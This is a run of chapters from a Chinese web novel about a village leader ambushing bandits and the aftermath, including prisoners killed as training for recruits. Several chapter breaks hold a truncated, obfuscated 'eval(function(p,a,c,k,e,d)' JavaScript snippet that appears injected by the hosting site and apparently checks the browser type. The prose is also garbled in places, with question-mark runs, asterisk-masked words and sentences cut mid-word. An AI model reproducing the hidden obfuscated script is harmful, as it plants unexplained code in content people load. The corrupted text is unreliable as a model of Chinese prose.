他可不仅仅是会出阴谋诡计,手上功夫也同样是拔尖的。 只见他缓缓拉开长弓,动作沉稳而有力,眼神锐利如鹰,死死地锁定了吕巡检那肥硕的身躯。 等到吕巡检的马车冲出人群,没了遮挡, “嗡——!” 弓弦猛地一震,发出低沉的嗡鸣,一支羽箭破空而出,如同闪电般划破长空,带着刺耳的尖啸,直奔吕巡检后心而去! 吕巡检能在三溪镇横行霸道这么多年,除了心狠手辣,自然也有些保命的手段。 给他赶车的车夫,就是他特意从江湖上招揽来的好手,不仅车赶得好,而且眼观六路、耳听八方,一手护身的本事更是了得。 眼见一支冷箭飞来, 车夫脸色骤变, “大人,小心背后!” 他扯着嗓子大喊一声, 几乎是同时, 车夫猛地一抖缰绳, “吁——” 原本狂奔的马儿,硬生生被他勒得人立而起, 前蹄高高扬起,嘶鸣着停下了脚步。 就在这千钧一发之际,车夫反手从车辕下抽出一面精钢打造的圆盾,挡在了吕巡检身后。 “当——!” 一声震耳欲聋的巨响, 箭矢不偏不倚,正中盾牌中心, 精钢盾牌被射得凹陷下去一大块,箭尾剧烈地颤动着,发出令人牙酸的嗡鸣声。 第三百章 这一箭的力道,要是射在人身上,绝对是透心凉的下场! 顾明远眉头一皱,他没想到这车夫竟有如此本事。 不过,他并没有气馁。 屏气凝神, 再次拉弓, 这一次,他瞄准的不再是吕巡检,而是拉车的马。 “嗖——” 又是一箭射出。 不过,这一箭并非是射向马的要害,而是射向了马的后腿和马车的连接处。 车夫的反应再快,也想不到顾明远会来这一手。 “噗呲!” 箭矢精准地射断了缰绳! “唏律律——!” 拉车的马儿吃痛,发出一声凄厉的嘶鸣,猛地向前一窜。 但没了缰绳的束缚,它已经彻底失控,如同脱缰的野马一般,横冲直撞起来。 顾明远冷冷地看着这一切, 他知道,这马受了惊吓,又没了控制,根本跑不了多远。 果然, 马车疯狂地冲出了一段距离, 但因为方向失控, “咣当!” 一声巨响, 马车狠狠地撞在了路边的一块巨石上。 车轴当场断裂,车厢也翻倒在地, 拉车的马也被这股巨大的冲击力掀翻,重重地摔在地上, 它挣扎着想要站起来,但试了几次都没能成功,只能发出阵阵哀鸣。 车厢里,吕巡检被这突如其来的变故摔得七荤八素, “哎呦……我的老腰……” 他惨叫着,从破烂的车厢里滚了出来, 头上的官帽早就不知道飞到哪里去了,身上的官袍也沾满了泥土和草屑,狼狈不堪。 “大人!大人您没事吧?!” 吕巡检的几个亲兵,见状大惊失色, 他们原本已经吓破了胆,打算各自逃命, 可看到吕巡检这副惨状,又不得不硬着头皮跑了回来。 “快……快扶我起来……” 吕巡检挣扎着想要站起来,可浑身上下像是散了架一样,一点力气都使不上。 “没用的东西,还不快跑!” 吕巡检的亲兵队长怒吼一声, 他心里清楚,现在最要紧的是保住自家大人的性命, 至于其他人,死活都顾不上了。 他一把拽起吕巡检,扛在肩上就跑。 其他几个亲兵也反应过来,纷纷四散奔逃。 其实,如果吕巡检手下这五十来号人能齐心协力,拼死抵抗, 萧煞他们这些人,未必能占到什么便宜。 只可惜,吕巡检平时作威作福惯了, 遇到危险只想着自己逃命, 久而久之,手底下的人也跟着离心离德,没了斗志。 当兵的没了士气,还打什么仗? 一触即溃,兵败如山倒! 眼瞅着吕巡检被亲兵队长扛着跑了, 萧煞顿时急了, “嗷——” 他狂吼一声,催动胯下战马,挥舞着大刀就追了上去。 “弟兄们,给我追!别让何老狗跑了!” 萧煞一边追,一边大声呼喊着。 那些原本还想保护吕巡检的亲兵, 一看萧煞这气势汹汹的架势,顿时吓得魂飞魄散, 哪里还敢上前? 一个个恨不得爹娘少生了两条腿,跑得比兔子还快。 “姓何的,你跑不了了!” 萧煞狞笑着,眼中闪烁着嗜血的光芒, 他胯下的战马,四蹄翻飞,速度快得惊人, 几个呼吸间就追上了吕巡检。 “好汉饶命!大佬高抬贵手吧!” 吕巡检被颠得五脏六腑都快移了位, 他看着越来越近的萧煞,吓得脸色惨白, “我……我跟你们无冤无仇,都是……都是青龙村的苏二,是他指使我……” 生死关头,吕巡检也顾不得那么多了, 他只想着把所有罪责都推到苏阳身上,或许还能有一线生机。 “苏二?又是那个小兔崽子!” 萧煞闻言,眼中凶光更盛, “老子正要去找他算账!你这老狗,也别想活命!” 他高高举起手中大刀, “住手!” 一声断喝, 顾明远骑着马,从后面追了上来。 他一路狂奔,累得气喘吁吁,脸色发白, “麻当家,刀下留人!” “怎么?你又要替这老狗求情?” 萧煞斜睨了顾明远一眼,语气中带着一丝不耐烦。 “这老狗留着还有大用!” 顾明远急忙解释道, “杀了他,岂不是太便宜他了?” “哼,你们这些读书人,就是花花肠子多!” 萧煞冷哼一声, “行,既然你这么说,那就先留他一条狗命!” 他虽然嘴上这么说,但心里对顾明远这种“阴险”的做法,还是颇为不屑的。 “麻当家英明!” 顾明远暗自松了口气, 他知道,萧煞虽然鲁莽,但并非不讲道理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧煞盯着顾明远,眼睛里闪过一丝狡黠, “你是想让老子当这个巡检?” “麻当家英明! 第三百零一章 ” 顾明远竖起大拇指, “这三溪镇,往后就是您的天下了!” “哈哈哈哈……” 萧煞笑得前仰后合, “好!好!好!读书人就是心眼多!” 他一巴掌拍在顾明远肩膀上,差点没把顾明远拍散架了。 “哎呦……” 顾明远龇牙咧嘴,心里暗骂: “等老子先收拾了苏阳,再来收拾你这头蠢猪!” “小的们,都别**捡破烂了!” 萧煞扯着嗓子吼了一嗓子, “伤的重的,先抬到车上对付一下!没死就都给老子爬起来,有更要紧的事等着呢!” 虽说把官兵揍了个落花流水,可自己这边也挂了彩。 有两个直接见了阎王,还有几个躺在地上哼哼,其中两个伤得不轻,眼瞅着是没法骑马了。 幸亏吕巡检那马车还在,虽说马**,可土匪们有的是马,匀出几匹拉车就行。 一听说麻当家要当官,几个亲信乐得屁颠屁颠的。 “麻当家威武!” “往后咱哥几个可就横着走了!” 萧煞得意洋洋,走路都带风。 顾明远强忍着恶心,也跟着拍了几句马屁。 他可高兴不起来,自己也有两个手下受了伤,其中一个伤势很重,能不能活下来还是个问号。 “这人手是越来越少了,以后可咋整啊……” 他心里头直打鼓。 歇息了片刻,萧煞领着一帮子人,急匆匆地往回走。 “麻当家,快看,肥羊!” 突然,一个土匪指着前方喊了一嗓子。 众人定睛一瞧,可不是嘛! 一辆马车停在路中间,一个年轻小伙正蹲在那儿,像是在修车轮。 “哈哈,今儿个真是走运!” 萧煞眼睛都亮了, “走,瞧瞧去,看看是哪位好汉给咱哥们送菜来了!” “麻当家真是福星高照!” “跟着麻当家,准能发财!” 土匪们一个个嗷嗷叫着,都想上去捞一把。 顾明远也打起精神,跟了上去。 “小弟,车坏了?” 顾明远走上前,装模作样地问了一句。 那年轻人早就站了起来,满脸堆笑: “没……没事,车轴断了,俺换个新的,马上就得,耽误各位爷赶路了……” 这位,正是苏阳派来“钓鱼”的麻符。 “不碍事,你先忙着。” 土匪们嘴上说着客气话,心里却在盘算着怎么动手。 “好嘞,多谢各位爷……” 麻符说着话,一猫腰钻到了车底下。 “嘿,这小子,修车还带钻车底的?” “老弟啊,你这手艺可潮了点,还是让哥哥们来露两手吧!” 土匪们哄笑着围了上去,准备来个黑吃黑。 就在这时,异变突生! 只见一根黑黝黝的铁管子,猛地从车底下伸了出来! “这是啥?” 土匪们还没反应过来,萧煞就觉得后脖颈子直冒凉风: “**,是火铳!快跑!” 话音未落,只听“砰”的一声巨响,一团黑烟从那铁管子里喷出,萧煞“嗷”的一嗓子就从马上翻了下来! 几乎同时,路两边的林子里“呼啦啦”冲出来一群人,手里都拿着黑洞洞的火铳,对着土匪们就是一通乱射! “砰砰砰……” “哎呦!” “我的娘啊!” 土匪们哪见过这阵势,当时就懵了。 还是这些老土匪反应快,萧煞刚倒下,不少人就地一滚,有的躲到了马肚子下边,还有的干脆趴在了马背上。 要说反应最快的,还得是顾明远。 几乎和萧煞同时,他就觉得不对头,身子一矮,直接躲到了马后面。 他一声没吭,心里巴不得其他人都被火铳打死才好呢。尘土飞扬,马蹄声声,像是催命的鼓点。 苏阳的眉头微微皱起,他没有立刻决定如何处置吕巡检。这种时候,敌我不明,稍有不慎就会满盘皆输。最好的选择就是按兵不动,静观其变。 “旭东,远山,你们带几个小子,远远跟着三溪镇的队伍,盯紧点。”苏阳沉声吩咐。 “得嘞,阳哥儿!您就瞧好吧!” 路旭东和孔远山应了一声,从队伍里点了几个平日里腿脚麻利,脑子灵活的兄弟,悄无声息地跟在了三溪镇队伍的后面。 与其说是预警,这更像是一场无声的较量。 最近一段时间,苏阳可没少操练手下这帮小子。路旭东他们,骑马已经不在话下,虽然还不能像那些老兵油子一样在马上耍花枪,但起码的侦查、传递消息,绝对是绰绰有余。 大元朝的路,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不仅是平日里一起训练的那些人,就连卫村队的人也都来了,甚至还有不少村民,手里拿着各种各样的家伙事儿,有锄头,有扁担,甚至还有烧火棍… 第三百零二章 … “乡亲们,吕巡检那**可能遇上土匪了!”苏阳的声音,在场院上空回荡,“他之前不把咱们当人看,强行调走乡勇,现在报应来了!” 人群瞬间炸开了锅。 “阳哥儿,咱们咋办?去救那**?” “救他?做梦!就该让土匪把他给剁了!” “对!这种人,死不足惜!” 义愤填膺,群情激昂。 “都别吵!”苏阳双手虚按,示意众人安静,“我没说要去救他,我只是想……看看情况!” 他的声音低沉,眼神中闪过一丝复杂。 他要的,不仅仅是吕巡检的命,他要的是一个机会,一个彻底掌控局面的机会。 “留下十几个人,跟卫村队一起看家!其他人,跟我走!” 苏阳大手一挥,带着五十多个精壮的汉子,会骑的就直接上马,菜鸟就坐车吧,轰隆隆地冲出了青龙村。 …… 所有人都以为苏阳是要去救吕巡检,就连他手底下的一些小子,一开始也是这么想的。 可是,当他们发现,苏阳并没有带着大家沿着卧龙沟往三溪镇的方向走,直接杀向清阳县的路上,所有人都傻眼了。 “阳哥儿,咱们这……这是要去哪儿啊?” “这方向不对啊……” “难不成……是要去打清阳县?” “……” 一时间,各种猜测,各种疑问,在队伍里蔓延开来。 突然,走在前面的一辆马车,“嘎吱”一声,停了下来。 车轮坏了。 苏阳勒住马,锐利的目光扫视四周。 路边,是一片浓密的树林,地势起伏,是个打埋伏的好地方。 “就这里了!”苏阳的声音,斩钉截铁。 “石头,你带几个人,将损坏的车辆堵在道中,装装样子。” “其他人,将车队赶入林中隐蔽,藏好了!” 众人这才恍然大悟。 原来阳哥儿是要打埋伏! 至于埋伏谁…… 还用问吗?肯定是那些跟吕巡检干起来的土匪! “阳哥儿,我留下吧。”石头自告奋勇,“一辆坏马车太显眼了,得有个车夫才像真的。” 苏阳点点头:“嗯,你小子心细。不过,千万小心,别逞能。” 他心里清楚,山贼们估计都是骑马帮,要是他们不靠近,还真不好下手。 安排好一切,苏阳带着其他人,悄无声息地隐入了树林之中,就像是一群蛰伏的猎豹,等待着猎物上钩。 …… 没过多久,青虎岭的土匪就到了。 正如苏阳所料,这些家伙一个个骑着高头大马,杀气腾腾。 石头藏在车底,瞅准了一个机会,猛地扣动了蹬张**的**。 “嗖——” **箭撕裂空气,发出尖锐的呼啸,正中一个土匪头目。 那土匪头目惨叫一声,从马上跌落下来,生死不知。 “麻当家!” “是萧煞!” 有人认出了那土匪头目的身份,正是青虎岭的萧煞! “兄弟们,杀啊!” 苏阳一声怒吼,像是平地起了一声惊雷。 早已埋伏好的众人,从树林中一跃而出,如同猛虎下山,扑向了剩下的土匪。 弓**声,箭矢破空声,惨叫声,马嘶声……交织在一起,震耳欲聋。 经历过凤子楼的教训,这些小子们可都长了记性。 那时候,就是因为心疼马,结果差点吃了大亏。 这次,他们可不管那么多,只要是骑在马上的,统统都是靶子! 一轮箭雨过后,场面顿时混乱不堪。 土匪们死伤惨重,剩下的也都吓破了胆,哪里还敢恋战,一个个拨转马头,就想逃跑。 有几个土匪,仗着身手不错,竟然躲过了**箭,眼看着就要从挡路的马车旁边冲过去。 “噗!噗!噗!” 几声闷响,那是**刺入肉体的声音。 两个土匪躲闪不及,直接被**捅了个透心凉,一个不稳栽下马背。 还剩下两个! 一个穿着书生袍,另一个,正是刚刚被射中一箭的萧煞。 两人仗着武艺高强,硬生生地杀出了一条血路,眼看着就要逃出生天。 就在这时,埋伏在两侧的毕明志和周阳,同时扣动了**。 “嗖!嗖!” 两支**箭,带着破空之声,射向了逃跑的两人。 可惜,移动靶实在太难打,只有一支**箭命中。 一个土匪应声**。 另一个,却侥幸逃脱。 “可惜啊!差一点!” 众人一阵扼腕叹息。 “别愣着!快追!” 人群中有人喊了一声,可大家都傻眼了。 **箭都射光了,拿什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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家里,母亲期盼的眼神,是他疲惫时最温暖的港湾,无论多晚,总有一盏灯为他点亮。 曾经,与同窗好友高谈阔论,挥斥方遒,那是何等的意气风发,仿佛天下事皆可一言而决。 第三百零三章 还有凤子楼里,那些莺莺燕燕,环肥燕瘦,每一个都曾让他心旌摇曳,沉醉其中,如今却都化作过眼苏烟,触不可及。 命运弄人,将他推入这无底深渊。 “吁——” 战马嘶鸣,苏阳的身影出现在顾明远的视野里,遮蔽了他眼中最后一丝光亮。 “顾明远,”苏阳居高临下,声音冰冷,像一块千年的寒冰,“你还想说点啥?” “我……杀……鲍……” 顾明远喉咙里发出含混不清的?1?0?1?0?1?3?1?4,用尽了全身的力气,却只挤出了几个破碎的音节,像是临死前的诅咒。 不甘、愤怒、恐惧……种种情绪在他眼中交织,最终,化为一片死寂,像是燃尽的灰烬。 带着满腔的怨恨,带着对命运的控诉,他终结了这黑暗的人生,留下的,只有无尽的遗憾。 苏阳看着地上逐渐冰冷的尸体,眉头微皱,轻轻挠了挠头,这可真是……死不瞑目啊。 临死都想着要杀萧煞,这萧煞到底是做了什么**人怨的事情,让他如此记恨? 可惜了,原本还想从这老阴逼口中套出点什么,现在看来,是彻底没戏了。线索,就这么断了。 苏阳翻身下马,伸手探了探顾明远的鼻息,确认他已经死透了。 凉透了,就算把钱福生那个老家伙叫来,恐怕也回天乏术了,神仙难救。 不过,顾明远**,并不意味着所有的线索都断了。 苏阳的目光,缓缓扫过躺在马车上的那几个受伤的土匪,眼神中闪过一丝精芒。 这些人,虽然受伤,但脑子还在,就看他们能不能派上用场了。 几个土匪被苏阳的眼神看得心里发毛,浑身哆嗦。 他们亲眼看见,自家四当家被苏阳一箭射死,麻当家吓得屁滚尿流,哪里还敢有半点隐瞒? “好汉饶命!好汉饶命!我们什么都说!”一个土匪连滚带爬地跪倒在地,脑袋磕得砰砰响。 “我们都是被逼的!都是萧煞和顾明远逼我们做的!”另一个土匪也跟着哭喊起来。 苏阳冷冷地看着他们,一言不发。 几个土匪见状,更是吓得魂飞魄散,争先恐后地交代起来。 从他们如何加入青虎岭,到萧煞和顾明远的种种恶行,再到这次来清阳县的目的,事无巨细,全都说了出来,生怕说漏了什么,惹来杀身之祸。 众人听着土匪们的供述,一个个脸色铁青,拳头紧握。 这些土匪口中的青虎岭,简直就是一个魔窟! 而萧煞和顾明远,更是十恶不赦的恶魔! 尤其是这次,他们竟然与郑县尉勾结,企图陷害青龙村! 要不是苏阳及时赶到,后果不堪设想! 想到这里,大家看着苏阳的眼神里,除了敬佩,更多了一丝感激,还有庆幸。 “二哥真乃神人也!” “若不是二哥,咱们这次恐怕是在劫难逃了!” 人群中,不知是谁先喊了一句,紧接着,此起彼伏的赞叹声便响了起来。 他们都明白,顾明远的计划一旦得逞,传到郑县尉耳中,再添油加醋一番,青龙村就成了杀害朝廷命官的凶手,到时候,有理也说不清,只能任人宰割。 众人哪里知道,苏阳心里也是捏了一把汗。 他虽然猜到顾明远可能会有阴谋,却也没想到会如此歹毒。 若不是自己提前做了准备,现在恐怕已经被逼上虎岭了。 “不能再耽搁了!”苏阳心里清楚,萧煞逃脱,始终是个隐患。 必须尽快找到他,阻止他与郑县尉勾结,否则后患无穷! 他猛地站起身,眼神如刀,扫过众人:“陈木生,你带人留在这里,处理善后!” “周阳!林韧!”苏阳的声音陡然拔高,“你们两个,各带一队人马,跟我走!” “其他人,原地待命,等候命令!” 说完,苏阳翻身上马,一夹马腹,率先冲了出去。 周阳和林韧不敢怠慢,连忙招呼各自的队员,紧随其后。 十几匹快马,沿着官道,向着清阳县的方向,疾驰而去,只留下滚滚烟尘。 马蹄声急,如同催命的鼓点,敲击着每个人的心房。 然而,一路追到清阳县城外,却连萧煞的影子都没见到。 “吁——” 苏阳勒住马缰,战马长嘶一声,停了下来。 他望着不远处的清阳县城墙,眉头紧锁。 难道萧煞没有来清阳县? 还是说,他已经进了城? 一时间,苏阳也有些拿不定主意。 “二哥,现在怎么办?”周阳问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没成想,那几个挨了刀子的土匪,眼瞅着就要断气。 第三百零四章 计划赶不上变化。 苏阳眼神一转,落在了新兵们身上。 他微微一笑,像极了一只盘算着什么的狐狸。 今天这帮新丁头一回出任务,就赶上了这阵仗。 “长见识了吧?” 他心里嘀咕。 刚才那场遭遇战,新兵们压根就没怎么动手。 射箭、捅枪,全是老兵们包圆了。 快得跟闪电似的,仗就打完了。 这帮新来的,一个个都傻了眼。 “我的天……” 队伍里,有人倒吸了一口凉气。 “难怪苏生儿出手这么大方,隔三差五就发银子,原来是要干这种掉脑袋的活计!” 旁边几个新兵听了,不约而同地缩了缩脖子。 后怕是有的。 但心里那股子兴奋劲儿,也是实打实的。 都是血气方刚的年纪,谁还没个英雄梦? 亲眼瞧着那些个平日里作威作福的土匪,在自家兄弟面前跟纸糊的似的,一捅就破,哪个心里不觉得解气? 不过,头一回看见**,不少新兵还是有点犯怵。 还没等苏阳吩咐他们去摸尸,就有人跑到路边,弯腰“哇哇”地吐了起来。 老兵们瞧见了,纷纷投去一个“你不行”的眼神。 “德行!” 有人啐了一口,满脸不屑。 “当年咱哥几个跟着阳哥儿的时候,那才叫一个……” 话到嘴边,又硬生生给咽了回去。 因为他猛地想起来,自己头一回见血的时候,好像也没比这帮新兵强到哪儿去。 “得了,都别愣着了,那几个半死不活的,正好给你们练练手。” 苏阳这话一出口,老兵们差点没乐出声来。 嘿,这下可有好戏瞧了! 新兵们却是吓得一个激灵,腿肚子都开始转筋。 心里头一个劲儿地叫苦: “天老爷啊,俺可从来没干过这种事啊!” “这会儿说不干,还来得及不?” 有人开始打起了退堂鼓。 可就在这个时候,林韧突然跳了出来。 他眼睛滴溜溜一转,觉得自己翻身的机会来了! 他咳嗽两声,清了清嗓子,指着那几个还剩一口气的土匪,装出一副悲天悯人的模样: “我说,你们瞧瞧,这几位多可怜啊,要不……咱跟阳哥儿求个情,放他们一条生路?” 他心里的小九九打得那叫一个响。 要是这帮新兵蛋子跟自己一样,犯了心慈手软的毛病,那自己不就有垫背的了? 以后谁还敢笑话自己? 谁知,话音刚落,就迎来了一片嘘声。 “省省吧你!” 一个新兵毫不留情地怼了回去。 “你林韧那点破事,谁不知道啊?被几个土匪几句好话就给忽悠了,还巴巴地想把人送回家?丢人现眼!” 林韧的脸,瞬间就垮了下来。 这都什么世道! 连新来的都敢埋汰自己了,生活太难顶了! 虽说心里一万个不情愿,可苏阳的命令,谁敢不听? 在青龙村,苏阳的威信那是与日俱增。 谁还敢捋虎须? 早些年,你要是觉得苏阳哪儿做得不对付,拍拍屁股走人就是。 现在? 你试试! 和四的坟头草还没长齐呢。 赖志成一家子,刚被扫地出门。 谁要是不想在村里混了,大可以试试苏阳的手段。 外村来的就更不敢炸刺了。 苏阳连本村的都敢动刀子,还能对他们这些外来的手下留情? 当然,在决定跟着苏阳混饭吃之前,这些小子们多多少少也都有了心理准备。 不愿**,无非就是心里那道坎还没迈过去。 等杀顺手了……估计就好了? 果不其然,几枪下去,几个土匪彻底没了动静。 新兵们…… 吐得更欢实了! 有几个连黄疸水都吐出来了,那脸色,比躺在地上的死尸还难看。 “别怕,吐着吐着就习惯了。” 苏阳在一旁,不咸不淡地来了这么一句。 新兵们听了,心里更不是滋味。 还没等他们缓过这口气,苏阳又发话了: “去,把尸体都搜一遍。” 这下,新兵们是真要崩溃了。 刚刚才吐了个昏天黑地,现在又要去摸**…… “这……这……” 有人结结巴巴,想说点什么,可话到嘴边,又给咽了回去。 “行了,都别磨蹭了!” 一个老兵不耐烦地催促。 “有啥好怕的?又不是没见过**!” “就是,早晚都得过这一关!” “快着点吧,别耽误了正事!” 新兵们无奈,只得硬着头皮,朝尸体走了过去。 不过,当苏阳把搜出来的银子,当众分给大伙儿的时候,新兵们的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阳哥儿,我觉得……” 苏阳一摆手,打断了他: “你先等等,让新来的兄弟们先说。 第三百零五章 ” 林韧的眼泪,这回是真下来了。 咋了这是? 咋还不让人说话了呢? 不就是想证明一下自己不是反面教材吗,怎么这么折磨人?新来的小子们或许不清楚,但凡在苏阳手底下待久了的,谁不知道他那点“钓鱼”的爱好? 每回他抛出个问题,就像往水里扔了个饵,肯定有人要遭殃。 尤其是像林韧那种,平时咋咋呼呼,自以为是又爱充好人的,妥妥的反面教材预备役。 果不其然,苏阳慢悠悠地开口了:“说说吧,要不要放他一马?” 这话一出,空气都仿佛凝固了。 甭管是平时胆大的老油条,还是初来乍到的愣头青,一个个都跟鹌鹑似的缩着脖子,低着头,恨不得把脑袋埋进裤裆里,生怕被苏阳那双贼亮的眼睛给盯上。 苏阳余光扫过众人,嘴角微微抽搐,鼻子差点没气歪了。 这帮怂包!平时一个个不是挺能耐吗?让你们动动脑子,就跟要了你们的命似的! 不回答是吧? 行! 苏阳双手叉腰,提高了嗓门:“既然大家都没个准主意,那就先放一边。不过嘛……” 他故意拉长了声调,目光在人群中扫了一圈: “没答上来的,一会儿都去给我解剖尸体,好好学学!” “轰”的一声,新来的小子们顿时炸了锅,一个个争先恐后地嚷嚷起来,生怕落于人后: “阳哥儿!我觉着不能留活口!留着浪费粮食,咱的粮食也不多了!” “阳哥儿!我觉得得留!这些土匪心狠手辣,留着他们,以后杀起人来肯定不含糊!咱们正缺这样的人!” “阳哥儿,您咋说咱就咋办,俺们都听您的!” …… 各种答案都有,七嘴八舌的。 新来的还是嫩了点儿,没一个说到苏阳的心坎儿里。 “林韧。” 苏阳叫了一声。 “到!” 林韧一个立正,声音都有些发颤。他心里七上八下的,生怕自己说错话,又要被苏阳收拾。 “你刚才不是想说吗?说吧,给大伙儿讲讲,是否要放他一条生路?为啥?” 苏阳的语气听不出喜怒。 林韧暗自松了口气,他清了清嗓子,挺直了腰板,高声说道:“阳哥儿,各位兄弟,俺觉得必须得留活口……” 他故意停顿了一下,吊足了大家的胃口。 “留着活口,干啥用呢?当然是给新来的兄弟们当反面教材啊!让他们见识见识土匪的下场,杀鸡儆猴,也让他们练练胆子,杀个人啥的……” “咣当!” 没等林韧把话说完,苏阳飞起一脚,直接把他踹了个屁股墩儿。 这货真是没救了! “嘿嘿……” “哈哈哈……” 众人强忍着笑,肩膀一抽一抽的。 “石头,”苏阳没好气地说,“你来说。” 大伙儿心想,陈木生那憨货,除了拍马屁还能说出个啥? 谁知,陈木生这次却一反常态。 他捋了捋胡子,慢条斯理地说:“得留活口。不过,不是为了当反面教材,得防着有人去县衙告状。万一郑县尉偏听偏信,咱也好有个人证。县官要是不管,咱就去府城告状……” 一番话有理有据,把大伙儿都给说愣了。 这还是那个憨厚的陈木生吗? 可还没等众人回过神来,陈木生又变回了那副憨样,挠着脑袋嘿嘿傻笑: “二哥,俺……俺瞎说的,您别当真……” 苏阳算是看出来了,这小子是在装傻充愣呢! “石头说得对。” 苏阳严肃地说: “以后你们都学着点,干啥事之前都动动脑子,别像个没头苍蝇似的乱撞!学学石头!” 陈木生心里叫苦不迭,这下可咋低调啊? 眼看大伙儿休息得差不多了,苏阳决定结束今天的实战教学。 “行了,都别愣着了,打扫战场!” 苏阳下令: “仔细点,别有啥遗漏。没啥事的话,咱就回村!” 新来的小子们觉得苏阳有点小题大做。 老兵们却二话不说,立马行动起来。 没吃过亏,哪知道疼? …… 青龙村又热闹起来了! 苏阳带人出去一趟,又弄回来一大堆马! 这还不算啥,最让人震惊的是,吕巡检**! 是遭山贼毒手! 对青龙村的村民来说,巡检老爷那就是天大的官,仅次于县太爷。 如今巡检大人竟然驾鹤西去! 这事儿听着就跟天方夜谭似的。 等等! 有人突然反应过来: 土匪杀了巡检,苏阳又灭了土匪,那苏阳岂不是比巡检还厉害? 既然巡检没了,那巡检的位置不就该是苏阳的了吗? 没错,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肥掌柜甚至不用睁眼,仅凭那股子熟悉的谄媚劲儿,就知道是他。 第三百零六章 “嗯……” 肥掌柜故意哼了一声,没急着起身。 他得端着点儿。 “老爷,您快闻闻,今儿个可都是好东西!” 二虎子把食盒往肥掌柜面前一放,打开盖子。 霎时间,鸡鸭鱼肉的香味儿,弥漫了整个地牢。 肥掌柜肚子不争气地咕咕叫了两声。 他舔了舔干裂的嘴唇,还是没动。 “老爷,您这是……” 二虎子有些摸不着头脑。 往常送饭,这位爷可都是饿虎扑食一般,今天怎么转性了? 接连两天,二虎子送来的都是山珍海味。 更让人起疑的是,从前一天一顿,变成了如今的一天三顿,而且每次来的时候点头哈腰,态度好得不正常。 事出反常必有妖。 肥掌柜能混到今天,靠的可不光是运气。 “二虎子,” 第三天头上,肥掌柜终于开口了,声音沙哑得厉害, “你跟老爷我说句实话,是不是……外面出事了?” 他一边说,一边死死盯着二虎子的眼睛。 “这……” 二虎子眼神闪烁,不敢与肥掌柜对视。 “那些杀千刀的……是不是已经……” 肥掌柜故意把话说了半截,等着二虎子自己往下说。 “老爷,那些……那些大爷,已经两天没回来了……” 二虎子支支吾吾,终于还是露了馅,脸上冷汗都下来了。 肥掌柜心中冷笑,面上却不动声色。 他眯起眼睛,借着地牢里昏暗的光线,仔细观察着二虎子的表情。 那张原本还算忠厚的脸上,此刻写满了慌乱和心虚。 “二虎子啊……” 肥掌柜叹了口气,语气忽然变得温和起来, “只要你肯放老爷出去,老爷我……保你下半辈子荣华富贵,再给你娶房最漂亮的媳妇……” 肥掌柜开始给二虎子画大饼。 金山银山,高官厚禄,只要二虎子敢想,他就敢许,反正空口白牙,又不用兑现。 二虎子起初还心存戒备,甚至做好了拼命的打算。 他怕这是肥掌柜的缓兵之计,等脱了身,再找他秋后算账。 可架不住肥掌柜嘴皮子溜,承诺一个比一个诱人,什么将来清阳县的生意分他一半,什么让他做个富家翁…… 到最后,二虎子终于动摇了,冷汗湿透了后背。 “老爷,您……您说的是真的?” 他声音发颤,显然是怕极了。 “二虎子,你跟了老爷这么多年,老爷什么时候骗过你?” 肥掌柜一脸诚恳,就差指天发誓了, “你想想,要不是老爷我,你现在说不定在哪儿要饭呢!做人要讲良心,老爷我……心里有数!” “老爷……” 二虎子终于绷不住了,扑通一声跪倒在地,磕头如捣蒜, “您别说了,小的……小的都明白!是那帮天杀的土匪逼我的啊……我早就看他们不顺眼了!” 肥掌柜赶忙把二虎子扶起来,一脸的心疼: “好孩子,老爷知道你受委屈了,你放心,等老爷出去,一定……” 他顿了顿,话锋一转: “一定好好感谢你!要不是你这几天偷偷给老爷送饭,还冒着风险一天送三顿,老爷我这条老命……恐怕就交代在这儿了!” 几句话,说得二虎子感激涕零,眼泪都下来了。 他一咬牙,一跺脚,就把肥掌柜给放了出来。 不过,二虎子留了个心眼。 他从靴子里抽出一把**,紧紧攥在手里,刀尖对着肥掌柜。 只要肥掌柜稍有异动,他就……先下手为强! 出乎二虎子意料,肥掌柜出来后,非但没有翻脸,反而对他更加和颜悦色。 不仅如此,对家里其他下人,肥掌柜也是一副宽宏大量的模样。 